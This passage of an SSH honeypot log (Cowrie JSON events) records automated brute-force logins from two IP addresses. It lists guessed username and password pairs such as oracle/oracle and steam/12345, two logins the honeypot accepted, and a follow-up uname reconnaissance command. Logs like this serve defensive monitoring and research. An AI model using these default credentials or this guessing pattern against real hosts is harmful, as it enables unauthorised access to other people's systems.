{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:30.365859Z","src_ip":"192.109.200.237","session":"660a8622d3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47480,"dst_ip":"159.203.135.109","dst_port":22,"session":"0521e27fc366","protocol":"ssh","message":"New connection: 192.109.200.237:47480 (159.203.135.109:22) [session: 0521e27fc366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:32.846920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:32.851234Z","src_ip":"192.109.200.237","session":"0521e27fc366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:32.933343Z","src_ip":"192.109.200.237","session":"0521e27fc366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:33.249607Z","src_ip":"192.109.200.237","session":"0521e27fc366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:34.333730Z","src_ip":"192.109.200.237","session":"0521e27fc366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54494,"dst_ip":"10.17.0.5","dst_port":22,"session":"4595d2230d0b","protocol":"ssh","message":"New connection: 109.172.54.111:54494 (10.17.0.5:22) [session: 4595d2230d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:35.345868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:35.354897Z","src_ip":"109.172.54.111","session":"4595d2230d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:35.455057Z","src_ip":"109.172.54.111","session":"4595d2230d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ntktdbpjh","message":"login attempt [root/ntktdbpjh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:35.754675Z","src_ip":"109.172.54.111","session":"4595d2230d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47494,"dst_ip":"159.203.135.109","dst_port":22,"session":"eef15a12a5a0","protocol":"ssh","message":"New connection: 192.109.200.237:47494 (159.203.135.109:22) [session: eef15a12a5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.003932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.009688Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.092486Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.340019Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.535709Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.538405Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.623372Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.628930Z","src_ip":"192.109.200.237","session":"eef15a12a5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:36.856634Z","src_ip":"109.172.54.111","session":"4595d2230d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47508,"dst_ip":"159.203.135.109","dst_port":22,"session":"f69947890d70","protocol":"ssh","message":"New connection: 192.109.200.237:47508 (159.203.135.109:22) [session: f69947890d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:39.073812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:39.077724Z","src_ip":"192.109.200.237","session":"f69947890d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:39.159362Z","src_ip":"192.109.200.237","session":"f69947890d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:39.426756Z","src_ip":"192.109.200.237","session":"f69947890d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:40.511414Z","src_ip":"192.109.200.237","session":"f69947890d70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"3719855d0d23","protocol":"ssh","message":"New connection: 192.109.200.237:45536 (159.203.135.109:22) [session: 3719855d0d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:42.148238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:42.152985Z","src_ip":"192.109.200.237","session":"3719855d0d23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:42.235638Z","src_ip":"192.109.200.237","session":"3719855d0d23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"phuvanduc","message":"login attempt [root/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:42.484319Z","src_ip":"192.109.200.237","session":"3719855d0d23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:43.569408Z","src_ip":"192.109.200.237","session":"3719855d0d23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45546,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6a4935fd31","protocol":"ssh","message":"New connection: 192.109.200.237:45546 (159.203.135.109:22) [session: af6a4935fd31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:45.203325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:45.296746Z","src_ip":"192.109.200.237","session":"af6a4935fd31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:45.301105Z","src_ip":"192.109.200.237","session":"af6a4935fd31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:45.647725Z","src_ip":"192.109.200.237","session":"af6a4935fd31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:46.732509Z","src_ip":"192.109.200.237","session":"af6a4935fd31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45560,"dst_ip":"159.203.135.109","dst_port":22,"session":"578650893722","protocol":"ssh","message":"New connection: 192.109.200.237:45560 (159.203.135.109:22) [session: 578650893722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:48.548602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:48.553441Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:48.635135Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:48.881862Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:49.095596Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:49.099400Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:49.185990Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:49.190891Z","src_ip":"192.109.200.237","session":"578650893722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53410,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ffdfdda7b5","protocol":"ssh","message":"New connection: 192.109.200.237:53410 (159.203.135.109:22) [session: 24ffdfdda7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:51.638636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:51.642849Z","src_ip":"192.109.200.237","session":"24ffdfdda7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"